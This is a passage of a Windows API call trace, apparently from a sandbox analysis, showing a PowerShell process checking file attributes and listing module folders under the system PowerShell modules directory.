GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2ccbd98 | out: lpFileInformation=0x2ccbd98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0116.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fea78) returned 1 [0116.546] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0116.546] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0116.546] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0116.546] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0116.546] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0116.546] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0116.549] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0116.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fed8c) returned 1 [0116.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0116.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0116.616] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x59feb3c | out: lpFindFileData=0x59feb3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fd2e8 [0116.616] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.616] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0116.616] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0116.616] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0116.617] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0116.617] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0116.617] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0116.617] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0116.617] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0116.617] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0116.617] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0116.617] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0116.617] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0116.617] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0116.617] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0116.617] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0116.617] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.617] FindClose (in: hFindFile=0x6fd2e8 | out: hFindFile=0x6fd2e8) returned 1 [0116.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feafc) returned 1 [0116.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fed5c) returned 1 [0116.618] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0116.618] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0116.618] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0116.618] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0116.618] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0116.618] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0116.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0116.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0116.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0116.619] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0116.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0116.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0116.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0116.619] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0116.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0116.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0116.619] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0116.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0116.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0116.620] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0116.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0116.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0116.620] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0116.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0116.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0116.621] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0116.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0116.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0116.621] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0116.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0116.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0116.621] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0116.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0116.622] SetThreadErrorMode (dwNewMode=0x1, 